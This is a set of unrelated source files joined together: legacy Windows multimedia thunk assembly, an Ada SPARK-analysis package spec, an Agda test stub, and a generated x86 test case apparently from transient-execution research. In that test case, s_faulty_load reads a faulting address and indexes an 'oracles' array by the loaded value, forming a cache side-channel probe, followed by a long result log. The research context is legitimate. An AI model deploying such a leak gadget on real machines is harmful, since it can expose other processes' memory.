call dump_stack_users
endif
stack_enter_stay_here:
pop ds
assumes ds,nothing
push bp
mov bp,sp
push ax
xor ax,ax
xchg [bp+4],ax
xchg [bp+2],ax
xchg [bp],ax
xchg [bp-2],ax
pop bp
stack_enter_retf:
stc
retf
;**********************************************************************-;
;
; we have a stack to use, allocate stack FIRST, then muck with it
; leave no window for interrupts to blast us.
;
; It does this by using the contents of the gwStackUse variable as
; the new SP. This initially contains the address of the start (ie top)
; of the internal stack area, and is subtracted from each time a StackEnter
; occurs. It is of course added to again when StackLeave is called
; freeing up that area of stack for the next use.
;
; Note that the stack usage counter is modified before anything is
; is pushed onto the new stack. If an interrupt occurs after the stack
; switch, but before the usage is set, it will be fine.
;
;**********************************************************************-;
assumes ds,DataFix
stack_enter_have_stack_will_travel:
push ax
push bx
mov bx,sp
mov ax, [gwStackSize]
sub [gwStackUse], ax ; reserve stack before using
add ax, [gwStackUse] ; get current value and hang onto it
;**********************************************************************-;
;
; debug code, in the debug version we do crazy things like filling
; the stack with magic numbers.
;
;**********************************************************************-;
ifdef MYDEBUG
; ** This code will fill the stack with the magic cookie**this
; ** is used to see how much stack space is being used at any
; ** time.
push es
push di
push ax
push cx
mov di, ax ; es:di -> top of stack
mov es, [gwStackSelector]
mov cx, [gwStackSize] ; get size to fill
sub di, cx ; es:di -> bottom of stack
shr cx, 1 ; in words
mov ax, STACK_MAGIC ; what to fill with
cld ; bottom up
rep stosw
pop cx ; restore munged regs
pop ax
pop di
pop es
endif
ifdef DEBUG_RETAIL
; ** This code puts a single magic cookie at the end of the stack.
; ** This is used by the stack leave routine to check for overflow.
; ** If the above code (the fill) is running, then this code is
; ** redundant.
push es
push bx
mov es,[gwStackSelector]
mov bx,[gwStackUse] ; new stack
mov es:[bx], STACK_MAGIC
pop bx
pop es
endif
;**********************************************************************-;
;
; time to switch to the *new* stack, [gwStackSelector]:AX contains
; the new SS:SP, but first save the *old* SS:SP and restore
; the registers we nuked to get here
;
;**********************************************************************-;
push [gwStackSelector] ; push *new* ss
push ss ; save current ss in ds
pop ds
assumes ds, nothing
pop ss ; switch to new stack
mov sp, ax ; ints off until after this on >= 286
;**********************************************************************-;
;
; now that we are on the new stack, copy some important info from
; the old stack to this one. note DS:[BX] points to the old stack
;
; [BX+0] ==> saved BX
; [BX+2] ==> saved AX
; [BX+4] ==> saved DS
; [BX+6] ==> return IP
; [BX+8] ==> return CS
;
; in the MYDEBUG version we save the callers CS:IP on the stack so we
; can (in dump_stack_users) walk all the stacks
;
;**********************************************************************-;
ifdef MYDEBUG
push [bx+8] ; push a CS:IP for dumping stack users
push [bx+6]
endif
add bx,10 ; 10 = ax+bx+dx+retf
push ds ; save old SS:SP (SP = BX+N)
push bx
sub bx,10
push [bx+8] ; push return addr
push [bx+6]
push [bx+4] ; push saved DS
push [bx] ; push saved BX
mov ax,[bx+2] ; restore ax
pop bx ; restore bx
pop ds ; restore ds
clc ; show success
stack_leave_retf:
retf ; return to caller
cEnd nogen
;***************************************************************************;
;
; @doc DDK MMSYSTEM
;
; @asm StackLeave |
;
; This function returns the stack to the original stack saved by StackEnter
;
; @uses flags
;
; @saves all
;
; @xref StackEnter, DriverCallback
;
;***************************************************************************;
assumes ds, nothing
assumes es, nothing
cProc StackLeave, <FAR, PUBLIC>, <>
cBegin nogen
;
; if we are in 386 mode or better (ie *not* standard mode) then, just
; get out.
;
; test cs:[CodeFixWinFlags],WF_WIN286
; jz stack_leave_retf
push bx
mov bx,sp
;**********************************************************************-;
;
; here is the state of things:
;
; [BX+0] ==> saved BX
; [BX+2] ==> return IP
; [BX+4] ==> return CS
; [BX+6] ==> saved SP
; [BX+8] ==> saved SS
;
; the first thing we must check for is EnterStack running out of
; stacks. in this case StackEnter pushed a single zero where the
; saved SS should be
;
;**********************************************************************-;
cmp word ptr ss:[bx+6],0 ; check saved SP
jnz stack_leave_normal
;**********************************************************************-;
;
; StackEnter ran out of stacks, stay on the current stack, but remove
; the bogus SS
;
;**********************************************************************-;
stack_leave_abby_normal:
pop bx ; return to caller taking the
retf 2 ; bogus zero SP with us
;**********************************************************************-;
;
; we need to return to the stack saved by StackEnter
;
;**********************************************************************-;
stack_leave_normal:
push ds ; [BX-2] ==> saved DS
push ss ; DS = old stack
pop ds
assumes ds,nothing
ifdef MYDEBUG
push ax
mov ax,[bx+8]
lar ax,ax
jz @f
DOUT <StackLeave: invalid stack>
int 3
@@: pop ax
endif
mov ss,[bx+8] ; switch to new stack
mov sp,[bx+6] ; ints off until after this on >= 286
push [bx+4] ; push return addr
push [bx+2]
push [bx] ; push old BX
push [bx-2] ; push old DS
;**********************************************************************-;
;
; we are back on the original stack, now it is time to deallocate
; the stack.
;
; The stack usage must only be released after all
; values have been removed from the stack so that an interrupt can be
; serviced without writing over any values.
;
;**********************************************************************-;
mov ds,[CodeFixDS] ; get at our globals
assumes ds,DataFix
ifdef DEBUG_RETAIL
push es
push bx
mov bx,[gwStackUse] ; before we release it
mov es,[gwStackSelector]
cmp es:[bx], STACK_MAGIC
mov es:[bx], STACK_MAGIC ; and try to recover...
pop bx
pop es
je @f ; true if magic cookie existed
DOUT <StackLeave: STACK OVERFLOW>
int 3
ifdef MYDEBUG
call dump_stack_users
endif
@@:
endif
mov bx, [gwStackSize] ; get the size of the stacks
add [gwStackUse], bx ; release stack frame after use
pop ds
assumes ds,nothing
pop bx
retf
cEnd nogen
;****************************************************************************
; FUNCTION: DoInterrupt()
;
; PURPOSE:
; This routine is called by the ISR in the InstallInerruptHandler
; routine.
;
; void DoInterrupt( void )
; {
; VPCALLBACK_ARGS pArgs;
; WORD wSendCount = vpCallbackData->wSendCount;
; WORD wTempRecvCount;
;
; /*
; ** At entry to this function the receive count should be one less than
; ** than the send count. However, it is possible that we have lost some
; ** interrupts in which case we should try to "catch up" here.
; **
; ** The 32 bit side does not increament wSendCount until the
; ** callback data buffer has been updated. This means that although it
; ** is possible that it could have been changed before this interrupt
; ** was generated it will never point to an invalid buffer location.
; ** We simply process two interrupt request from the first interrupt,
; ** when the second interrupt goes off we return straight away.
; */
; vpCallbackData->wIntsCount++;
;
; while ( vpCallbackData->wRecvCount != wSendCount ) {
;
; /*
; ** Increment the recv count. Use of the % operator to makes sure
; ** that we wrap around to the begining of the array correctly.
; */
; wTempRecvCount = (vpCallbackData->wRecvCount + 1)
; % CALLBACK_ARGS_SIZE;
;
; pArgs = &vpCallbackData->args[ wTempRecvCount ];
; DriverCallback( pArgs->dwFunctionAddr,
; LOWORD( pArgs->dwFlags ),
; pArgs->wHandle,
; pArgs->wMessage,
; pArgs->dwInstance,
; pArgs->dwParam1,
; pArgs->dwParam2 );
;
; vpCallbackData->wRecvCount = wTempRecvCount;
; }
;
; }
;
;****************************************************************************
cProc DoInterrupt, <FAR,PUBLIC>, <si,di>
localW wSendCount ;number of interrupts sent
cBegin DoInt
DOUT <Multi-Media Interupt called>
;
; Now we take the parameters from the global callback data array
; and increment the dwRecvCount field. Then we make the
; callback into the apps routine. Note that the es:bx registers are used
; instead of the local variable pArgs.
;
mov es,[CodeFixDS]
assumes es,DataFix
;
; wSendCount = vpCallbackData->wSendCount
; vpCallbackData->wIntsCount++;
;
les bx,DWORD PTR es:vpCallbackData
mov ax,WORD PTR es:[bx+2]
mov wSendCount,ax
inc WORD PTR es:[bx+388] ; increment the count of interrupts rcv
jmp DoIntMakeTheTest
;
; Make es:bx point to the correct slot in the callback data table.
;
DoIntMakeTheCall:
;
; Increment the recv count. Use of the % operator above makes sure
; that we wrap around to the begining of the array correctly.
;
; wTempRecvCount = (vpCallbackData->wRecvCount + 1) % CALLBACK_ARGS_SIZE;
;
mov al,BYTE PTR es:[bx]
inc al
and ax,15
mov cx,ax
;
; pArgs = &vpCallbackData->args[ vpCallbackData->wRecvCount ];
; vpCallbackData->wRecvCount = wTempRecvCount;
; Note that pArgs is really es:bx.
;
mov es,[CodeFixDS]
les bx,DWORD PTR es:vpCallbackData
imul ax,WORD PTR es:[bx],24 ;ax = wRecvCount * sizeof(CALLBACKDATA)
;
; Note: our caller saves ALL registers. We do not need to preserve si
;
mov si,bx
add bx,ax ;bx = bx + ax
add bx,4 ;bx += sizeof(WORD) * 2
;
; Set up the stack frame for DriverCallback
;
push WORD PTR es:[bx+6]
push WORD PTR es:[bx+4]
push WORD PTR es:[bx]
push WORD PTR es:[bx+8]
push WORD PTR es:[bx+10]
push WORD PTR es:[bx+14]
push WORD PTR es:[bx+12]
push WORD PTR es:[bx+18]
push WORD PTR es:[bx+16]
push WORD PTR es:[bx+22]
push WORD PTR es:[bx+20]
;
; We have to set up the stack frame before incrementing wRecvCount to
; prevent the 32 bit code from eating our slot in the buffer.
;
mov WORD PTR es:[si],cx ;wRecvCount = wTempRecvCount
call FAR PTR DriverCallback
;
; Reload es:bx and ax ready for the loop test
;
mov ax,wSendCount
mov es,[CodeFixDS]
les bx,DWORD PTR es:vpCallbackData
DoIntMakeTheTest:
cmp WORD PTR es:[bx],ax
jne DoIntMakeTheCall
cEnd DoInt
ifdef XDEBUG
public stack_enter_stay_here
public stack_enter_have_stack_will_travel
public stack_leave_abby_normal
public stack_leave_normal
endif
;***************************************************************************;
;
; @doc DDK MMSYSTEM
;
; @api BOOL | DriverCallback | This function notifies a client
; application by sending a message to a window or callback
; function or by unblocking a task.
;
; @parm DWORD | dwCallBack | Specifies either the address of
; a callback function, a window handle, or a task handle, depending on
; the flags specified in the <p wFlags> parameter.
;
; @parm WORD | wFlags | Specifies how the client
; application is notified, according to one of the following flags:
;
; @flag DCB_FUNCTION | The application is notified by
; sending a message to a callback function. The <p dwCallback>
; parameter specifies a procedure-instance address.
; @flag DCB_WINDOW | The application is notified by
; sending a message to a window. The low-order word of the
; <p dwCallback> parameter specifies a window handle.
;
; @flag DCB_NOSWITCH | DriverCallback should *not* switch to a new stack
;
; @parm WORD | hDevice | Specifies a handle to the device
; associated with the notification. This is the handle assigned by
; MMSYSTEM when the device was opened.
;
; @parm WORD | wMsg | Specifies a message to send to the
; application.
;
; @parm DWORD | dwUser | Specifies the DWORD of user instance
; data supplied by the application when the device was opened.
;
; @parm DWORD | dwParam1 | Specifies a message-dependent parameter.
; @parm DWORD | dwParam2 | Specifies a message-dependent parameter.
;
; @rdesc Returns TRUE if the callback was performed, else FALSE if an invalid
; parameter was passed, or the task's message queue was full.
;
; @comm This function can be called at interrupt time.
;
; The flags DCB_FUNCTION and DCB_WINDOW are equivalent to the
; high-order word of the corresponding flags CALLBACK_FUNCTION
; and CALLBACK_WINDOW specified when the device was opened.
;
; If notification is done with a callback function, <p hDevice>,
; <p wMsg>, <p dwUser>, <p dwParam1>, and <p dwParam2> are passed to
; the callback. If notification is done with a window, only <p wMsg>,
; <p hDevice>, and <p dwParam1> are passed to the window.
;***************************************************************************;
assumes ds, nothing
assumes es, nothing
cProc DriverCallback, <FAR, PASCAL, PUBLIC>, <>
parmD dwCallBack ; callback procedure to call
parmW fCallBack ; callback flags
parmW hdrv ; handle to the driver
parmW msg ; driver message
parmD dwUser ; user instance data
parmD dw1 ; message specific
parmD dw2 ; message specific
cBegin
cld ; lets not make any assumptions about this!!!!
;**************************************************************************-;
; check for quick exit cases and get out fast
;**************************************************************************-;
mov ax,dwCallback.lo ; check for dwCallback == NULL
or ax,dwCallback.hi
jz dcb_error_exit_now ; if NULL get out fast
mov ax,fCallback ; get flags and mask out the type bits
test ax,DCB_TYPEMASK
jz dcb_error_exit_now ; if NULL get out fast
ifdef NEVER
;**************************************************************************-;
; if this handle is being NUKED don't allow callbacks into the app
;
; I won't bother with this test on WOW either. -- StephenE 2nd Nov 1992
;**************************************************************************-;
mov es,[CodeFixDS]
assumes es,DataFix
mov bx,hdrv
cmp bx,es:[hdrvDestroy] ; same as the handle being nuked?
je dcb_error_exit_now ; if yes, get out'a here
assumes es,nothing
endif
;**************************************************************************-;
; set up ES == SS, so we can access stack params after switching
; stacks, NOTE!! ES:[bp+##] *must* be used to access parameters!
;**************************************************************************-;
mov cx,ss ; set ES == callers stack
mov es,cx ; use ES to get at local vars
assumes es,nothing
;**************************************************************************-;
; We won't switch stacks on WOW since DPMI does this for us. Win 3.1
; would only switch stacks in Standard mode which we no longer support.
;**************************************************************************-;
; test ax,DCB_NOSWITCH ; should we switch stacks?
; jnz dcb_on_stack
; call StackEnter ; switch to new stack
;**************************************************************************-;
; determine the type of the callback, dwCallback is either a FARPROC, HWND
; or HTASK depending on the value of fCallback
;**************************************************************************-;
dcb_on_stack:
;
pushf ; Save the interrupt flag state
FSTI ; ** Enable interrupts here **
;
; push ax ; save flags for StackLeave test
and ax,DCB_TYPEMASK ; mask out the type bits
cmp ax,DCB_WINDOW ; is it a window handle?
je dcb_post_message
cmp ax,DCB_TASK ; is it a task handle?
je dcb_post_event
cmp ax,DCB_FUNCTION ; is it a procedure?
je dcb_call_callback
DOUT <DriverCallback: Invalid flags #ax>
xor ax,ax
jmp dcb_exit
dcb_error_exit_now:
xor ax,ax
jmp dcb_exit_now
ifdef NEVER
;**************************************************************************-;
; the Callback flags are NULL determine the callback type by the HIWORD
; of dwCallback, if it is NULL assume it is a WINDOW otherwise it is a
; FARPROC
;**************************************************************************-;
dcb_null_flags:
mov ax,es:dwCallback.hi ; get selector of callback
or ax,ax
jnz dcb_call_callback ; if NULL then assume it is a window
errn$ dcb_post_message ; otherwise assume a FARPROC
endif
;**************************************************************************-;
; dwCallback is a window handle, call PostMessage() to insert a message in
; the applications message Que
;**************************************************************************-;
dcb_post_event:
cmc
dcb_post_message:
push es:dwCallback.lo ; hwnd
push es:msg ; message
push es:hdrv ; wParam = hdrv
push es:dw1.hi ; lParam = dw1
push es:dw1.lo
jc dcb_post_app_message
call PostMessage
jmp dcb_exit
;**************************************************************************-;
; dwCallback is a task handle, call PostAppMessage() to 'wake' the task up
;**************************************************************************-;
dcb_post_app_message:
call PostAppMessage
jmp dcb_exit
;**************************************************************************-;
; dwCallback is a callback procedure, we will call it.
;**************************************************************************-;
dcb_call_callback:
;
; is the callback a valid function?
;
lar ax,es:dwCallback.hi
jnz dcb_invalid_callback
test ax,0800H ; test for code/data selector
jnz dcb_valid_callback
dcb_invalid_callback:
ifdef MYDEBUG_RETAIL
mov ax,es:dwCallback.lo
mov dx,es:dwCallback.hi
DOUT <DriverCallback: Invalid callback function #dx:#ax>
int 3
endif
xor ax,ax
jmp dcb_exit
dcb_valid_callback:
push es:hdrv
push es:msg
push es:dwUser.hi
push es:dwUser.lo
push es:dw1.hi
push es:dw1.lo
push es:dw2.hi
push es:dw2.lo
call es:dwCallback
mov ax,1
errn$ dcb_exit
dcb_exit:
;
popf ; ** restore the interrupt flag **
;
; pop bx ; restore flags
; test bx,DCB_NOSWITCH ; should we switch back?
; jnz dcb_exit_now
; call StackLeave ; return to previous stack
errn$ dcb_exit_now
dcb_exit_now:
cEnd
ifdef MYDEBUG
;**************************************************************************-;
;
; each mmsystem stack has a SS:SP and in MYDEBUG a CS:IP of the caller of
; StackEnter, the top of each stack looks like this.
;
; +-------------------------------------+
; | CS:IP of caller of StackEnter() (in MYDEBUG)
; +-------------------------------------+
; | SS:SP to restore
; +-------------------------------------+
;
;**************************************************************************-;
assumes ds,DataFix
assumes es,nothing
public dump_stack_users
dump_stack_users proc near
cmp [gwStackSelector],0
jne @f
ret
@@: pusha
push es
mov cx,[gwStackFrames]
mov di,[gwStackSize]
mov si,[gwStackUse]
mov es,gwStackSelector
DOUT <StackUsers: Frames[#cx] Size[#di] Use[#si]>
dump_stack_loop:
lar ax,es:[di-4].sel
jnz dump_stack_next
mov ax,es:[di-4].off ; get CS:IP of StackEnter caller
mov dx,es:[di-4].sel
mov si,es:[di-8].off ; get SS:SP of StackEnter caller
mov bx,es:[di-8].sel
DOUT <StackUser #cx is CS:IP = #dx:#ax SS:SP = #bx:#si>
dump_stack_next:
add di,[gwStackSize]
loop dump_stack_loop
pop es
popa
ret
dump_stack_users endp
endif
;-----------------------------------------------------------------------;
;
; @doc INTERNAL
;
; @api DWORD | CheckThunkInit | send a message to the timer driver
;
; @rdesc Returns 0 if successful, otherwise an error code,
; (typically MMSYSERR_NODRIVER).
;
;-----------------------------------------------------------------------;
assumes ds,nothing
assumes es,nothing
cProc CheckThunkInit, <FAR, PUBLIC, PASCAL>, <>
cBegin
mov es,[CodeFixDS]
assumes es,DataFix
sub ax,ax ; assume sucess
mov bx,WORD PTR es:[mmwow32Lib] ; is mmwow32Lib loaded ?
mov cx,WORD PTR es:[mmwow32Lib+2] ; try to load it
or cx,bx ; ThunkInit returns ax=1
jnz @F ; if it loaded OK, otherwise
call ThunkInit ; ax=MMSYSERR_NODRIVER
@@:
cEnd
;-----------------------------------------------------------------------;
;
; @doc INTERNAL
;
; @api DWORD | timeMessage | send a message to the timer driver
;
; @parm WORD | msg | message to send
;
; @parm DWORD | dw1 | first DWORD
;
; @parm DWORD | dw2 | first DWORD
;
; @rdesc Returns zero if successful, error code otherwise
;
;-----------------------------------------------------------------------;
assumes ds,nothing
assumes es,nothing
cProc timeMessage, <FAR, PUBLIC, PASCAL>, <>
ParmW msg
ParmD dw1
ParmD dw2
cBegin
mov es,[CodeFixDS]
assumes es,DataFix
sub ax,ax ; assume sucess
mov bx,WORD PTR es:[mmwow32Lib] ; is mmwow32Lib loaded ?
mov cx,WORD PTR es:[mmwow32Lib+2] ; try to load it
or cx,bx ; ThunkInit returns ax=1
jnz timer_have_thunks ; if it loaded OK, otherwise
push es
call ThunkInit ; ax=MMSYSERR_NODRIVER
pop es
or ax,ax
jnz timeMessageExit
timer_have_thunks:
push ax ; uDevID
push ax ;
push ax ; Message passed
push msg ;
push ax ; dwInstance
push ax ;
push dw1.hi ; dwParam1
push dw1.lo ;
push dw2.hi ; dwParam2
push dw2.lo ;
push WORD PTR es:[tid32Message+2] ; Address of function to call
push WORD PTR es:[tid32Message] ;
push ax ; No directory change
push ax
call FAR PTR MMCALLPROC32
timeMessageExit:
cEnd
MMediaThunk MMCALLPROC32
sEnd CodeFix
end
|
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0.log_21829_1725.asm | ljhsiun2/medusa | 9 | 13943 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x34e1, %rsi
lea addresses_WT_ht+0xf21, %rdi
nop
nop
nop
and %rbp, %rbp
mov $55, %rcx
rep movsl
nop
xor $34287, %r10
lea addresses_normal_ht+0x1d275, %rdx
nop
nop
nop
nop
xor $13067, %rbp
mov (%rdx), %rsi
nop
nop
nop
xor %rcx, %rcx
lea addresses_normal_ht+0xa761, %rsi
lea addresses_WC_ht+0x13be1, %rdi
clflush (%rdi)
nop
nop
sub $36943, %r13
mov $40, %rcx
rep movsb
nop
nop
nop
nop
nop
sub $59741, %r10
lea addresses_normal_ht+0x72e1, %rdx
clflush (%rdx)
nop
dec %rsi
mov (%rdx), %r10
inc %r10
lea addresses_A_ht+0x1e8e1, %rcx
nop
cmp %rbp, %rbp
mov (%rcx), %si
nop
nop
nop
nop
nop
xor $58305, %rcx
lea addresses_A_ht+0x89c9, %rsi
lea addresses_A_ht+0xa921, %rdi
clflush (%rsi)
nop
nop
nop
nop
xor $12994, %r9
mov $53, %rcx
rep movsl
nop
nop
nop
nop
and %r10, %r10
lea addresses_D_ht+0x15761, %rdx
nop
nop
nop
cmp $26266, %rdi
movb (%rdx), %r13b
nop
nop
nop
sub $28558, %r10
lea addresses_normal_ht+0x3aa1, %rdx
add %rdi, %rdi
mov (%rdx), %r9
nop
nop
nop
nop
xor $28566, %r13
lea addresses_A_ht+0xce1, %rsi
xor %r9, %r9
mov $0x6162636465666768, %rdx
movq %rdx, %xmm7
vmovups %ymm7, (%rsi)
nop
nop
nop
nop
and %rdx, %rdx
lea addresses_A_ht+0x1e9c9, %rdi
nop
nop
and %rcx, %rcx
mov $0x6162636465666768, %rdx
movq %rdx, (%rdi)
nop
add %rdx, %rdx
lea addresses_UC_ht+0x6c1b, %rdx
clflush (%rdx)
nop
sub $13669, %r10
mov (%rdx), %esi
nop
nop
nop
and $37778, %r9
lea addresses_UC_ht+0xf2e5, %rcx
nop
nop
nop
nop
xor $6091, %r9
movw $0x6162, (%rcx)
nop
nop
sub %rsi, %rsi
lea addresses_WC_ht+0x11d5f, %rbp
nop
nop
nop
nop
nop
add %rsi, %rsi
movw $0x6162, (%rbp)
nop
nop
xor %rcx, %rcx
lea addresses_D_ht+0x94e1, %rsi
lea addresses_UC_ht+0x15b03, %rdi
nop
nop
nop
nop
nop
add $6501, %r10
mov $114, %rcx
rep movsw
xor $42090, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r15
push %r8
push %rbp
push %rbx
push %rdi
push %rdx
// Load
lea addresses_US+0xde1d, %rdi
nop
nop
nop
nop
sub %rbx, %rbx
mov (%rdi), %r8w
nop
nop
sub $49400, %rdx
// Faulty Load
lea addresses_normal+0x74e1, %r8
and $52669, %rdx
mov (%r8), %rdi
lea oracles, %r15
and $0xff, %rdi
shlq $12, %rdi
mov (%r15,%rdi,1), %rdi
pop %rdx
pop %rdi
pop %rbx
pop %rbp
pop %r8
pop %r15
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_normal', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_US', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_normal', 'AVXalign': True, 'size': 8}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 6, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_WC_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 0, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_A_ht'}}
{'src': {'NT': True, 'same': True, 'congruent': 1, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 8}}
{'src': {'NT': True, 'same': False, 'congruent': 1, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_WC_ht', 'AVXalign': True, 'size': 2}}
{'src': {'same': True, 'congruent': 11, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_UC_ht'}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
src/spat-flow_item.ads | yannickmoy/spat | 0 | 3046 | <gh_stars>0
------------------------------------------------------------------------------
-- Copyright (C) 2020 by Heisenbug Ltd. (<EMAIL>)
--
-- This work is free. You can redistribute it and/or modify it under the
-- terms of the Do What The Fuck You Want To Public License, Version 2,
-- as published by Sam Hocevar. See the LICENSE file for more details.
------------------------------------------------------------------------------
pragma License (Unrestricted);
------------------------------------------------------------------------------
--
-- SPARK Proof Analysis Tool
--
-- S.P.A.T. - Object representing a JSON "flow" object.
--
------------------------------------------------------------------------------
with SPAT.Entity.Tree;
with SPAT.Entity_Location;
with SPAT.Preconditions;
package SPAT.Flow_Item is
---------------------------------------------------------------------------
-- Has_Required_Fields
---------------------------------------------------------------------------
function Has_Required_Fields (Object : in JSON_Value) return Boolean is
(Entity_Location.Has_Required_Fields (Object => Object) and
Preconditions.Ensure_Rule_Severity (Object => Object));
type T is new Entity_Location.T with private;
---------------------------------------------------------------------------
-- Create
---------------------------------------------------------------------------
overriding
function Create (Object : in JSON_Value) return T with
Pre => Has_Required_Fields (Object => Object);
---------------------------------------------------------------------------
-- Before
--
-- Comparison operator used for sorting instantiations.
---------------------------------------------------------------------------
function Before (Left : in Entity.T'Class;
Right : in Entity.T'Class) return Boolean is
(Flow_Item.T (Left) < Flow_Item.T (Right));
package By_Location is new Entity.Tree.Generic_Sorting (Before => Before);
---------------------------------------------------------------------------
-- Sort_By_Location
---------------------------------------------------------------------------
procedure Sort_By_Location (This : in out Entity.Tree.T;
Parent : in Entity.Tree.Cursor) renames
By_Location.Sort;
private
type T is new Entity_Location.T with
record
Rule : Subject_Name;
Severity : Subject_Name;
end record;
end SPAT.Flow_Item;
|
test/Fail/Issue1362.agda | shlevy/agda | 1,989 | 12530 | module Issue1362 where
open import Common.Prelude
